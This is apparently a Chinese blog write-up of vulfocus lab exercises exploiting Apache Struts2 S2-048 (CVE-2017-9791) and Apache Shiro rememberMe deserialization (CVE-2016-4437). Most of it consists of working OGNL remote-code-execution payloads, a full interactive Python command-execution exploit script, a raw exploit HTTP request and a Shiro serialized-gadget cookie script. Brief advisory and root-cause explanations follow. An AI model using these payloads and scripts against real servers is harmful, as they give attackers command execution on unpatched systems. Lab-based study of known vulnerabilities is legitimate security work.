2.3.34版本RCE payload :white\_check\_mark:

    ${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))).(#w.close())}/actionChain1.action

urlencode==\>

    /%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.action

2.5.16版本 弹计算器 可能环境没配对 :x:

    ${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new  java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}/actionChain1.action

2.3.34版本弹计算器payload :x: 失败 2.5.16也失败

    ${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec("woami"))}/actionChain1.action

2.3.20版本弹计算器 没环境

    ${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}/index.action

2.3.20版本RCE payload 没环境

    ${(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))).(#w.close())}

工具 RCE payload :x:

    %25%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ognlUtil%3d%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23str%3d%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream())).(%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse()).(%23res.addHeader(%27cmd%27%2c%23str))%7d

struts2-048 远程代码执行 (CVE-2017-9791)

WP

漏洞点:/integration/saveGangster.action

有一个命令回显的POC,但是不能执行ls命令

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

于是从GitHub上下载了一个脚本:https://github.com/jas502n/st2-048/blob/master/St2-048.py,运行环境python2

#!/usr/bin/python
# -*- coding: utf-8 -*-

'''

             ____ ____        ___  _  _    ___  
            / ___|___ \      / _ \| || |  ( _ ) 
            \___ \ __) |____| | | | || |_ / _ \ 
             ___) / __/_____| |_| |__   _| (_) |
            |____/_____|     \___/   |_|  \___/ 
                                   
 ____   ____ _____      _   _   _                  _    
|  _ \ / ___| ____|    / \ | |_| |_ _ __ __ _  ___| | __
| |_) | |   |  _|     / _ \| __| __| '__/ _` |/ __| |/ /
|  _ <| |___| |___   / ___ \ |_| |_| | | (_| | (__|   < 
|_| \_\\____|_____| /_/   \_\__|\__|_| \__,_|\___|_|\_\

                    Author By Jas502n

            https://github.com/jas502n/st2-048

            影响不大,周末注意休息,不要搞事情!
            
'''

import json,re
import requests
import threading
import urllib

def Poc(url,command):
    header = {'Content-Type': 'application/x-www-form-urlencoded'}
    poc = {"name":"%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=' \
                          "+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}","age":"1","__checkbox_bustedBefore":"true","description":"123123"}
    data = urllib.urlencode(poc)
    try:
        result = requests.post(url,data=data,headers=header)
        if result.status_code == 200:
            
            print result.content
    except requests.ConnectionError,e:
        print e

th = {"url":""}

while True:
    if th.get("url") != "":
        input_cmd = raw_input("cmd >>: ")
        if input_cmd == "exit":
            exit()
        elif input_cmd == 'set':
            url = raw_input("set url :")
            th['url'] = url
        elif input_cmd == 'show url':
            print th.get("url")
        else:
            Poc(th.get("url"),input_cmd)
    else:
        url = raw_input("set url :")
        th["url"] = url

再更,找到了一个可以有回显的poc

POST /integration/saveGangster.action HTTP/1.1
Host: vulfocus.fofa.so:14353
Content-Length: 991
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://vulfocus.fofa.so:14353
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://vulfocus.fofa.so:14353/integration/editGangster.action
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=05BAA3DE63859C4ABB793F023FB7D705
Connection: close

name=%25{(%23_%3d'multipart/form-data').(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context['com.opensymphony.xwork2.ActionContext.container']).(%23ognlUtil%3d%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23cmd%3d'ls+/tmp').(%23iswin%3d(%40java.lang.System%40getProperty('os.name').toLowerCase().contains('win'))).(%23cmds%3d(%23iswin%3f{'cmd.exe','/c',%23cmd}%3a{'/bin/bash','-c',%23cmd})).(%23p%3dnew+java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3d%23p.start()).(%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())).(%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream(),%23ros)).(%23ros.flush())}&age=1&bustedBefore=true&__checkbox_bustedBefore=true&description=1

漏洞详解

影响版本: 2.0.0 - 2.3.32 

Who should read this

All Struts 2 developers and users should read this

Impact of vulnerability

Possible RCE when using the Struts 2 Struts 1 plugin

Maximum security rating

Important

Recommendation

Please read the Solution section

Affected Software

Struts 2.3.x with Struts 1 plugin and Struts 1 action

Reporter

icez <ic3z at qq dot com> from Tophant Competence Center

CVE Identifier

CVE-2017-9791

It is possible to perform a RCE attack with a malicious field value when using the Struts 2 Struts 1 plugin and it's a Struts 1 action and the value is a part of a message presented to the user, i.e. when using untrusted input as a part of the error message in the ActionMessage class.

解决方案:

Always use resource keys instead of passing a raw message to the ActionMessage as shown below, never pass a raw value directly

messages.add("msg"new ActionMessage("struts1.gangsterAdded", gform.getName()));

and never like this

messages.add("msg"new ActionMessage("Gangster " + gform.getName() + " was added"));

shiro-cve_2016_4437

WP

xray版本:Version: 1.7.1/f725e41e/COMMUNITY-ADVANCED

xray配置: .\xray_windows_amd64_protected.exe webscan --listen 127.0.0.1:7777 --html-output 1.html

burp配置:

将url放入burp的浏览器中,xray会扫描经过burp的流量,识别结果如下:

 

 打开xray扫描报告,复制一下payload

 

 不知道为什么我的burp发包失败,这里我直接写的脚本,其中需要设置一下协议为1.0,不然会遇到“requests.exceptions.ChunkedEncodingError: (‘Connection broken: IncompleteRead(0 bytes read)‘”错误

import requests
import http.client

http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
http.client.HTTPConnection._http_vsn = 10

ur = "http://vulfocus.fofa.so:55495/"
a="rememberMe=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"
header = {
    'Host': 'vulfocus.fofa.so:55495',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0',
    'Accept': '''text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9''',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Cache-Control': 'max-age=0',
    'Cookie': '{}'.format(a),
    'Testecho': 'ltkmea',
    'Upgrade-Insecure-Requests': '1',
    'Accept-Encoding': 'gzip',
    'Testcmd': 'ls /tmp'
}
re =requests.get(url=ur,headers=header)
print(re.text)

 

漏洞详解

该漏洞发布于2016年6月

属于java反序列化漏洞的一种

Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。

Apache Shiro框架提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码操作。在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序,不难知道解密的顺序为:

  • 获取rememberMe cookie
  • base64 decode
  • 解密AES(加密密钥硬编码)
  • 反序列化(未作过滤处理)
  • 但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
posted @ 2022-01-05 16:15  东坡肉肉君  阅读(12)  评论(0编辑  收藏  举报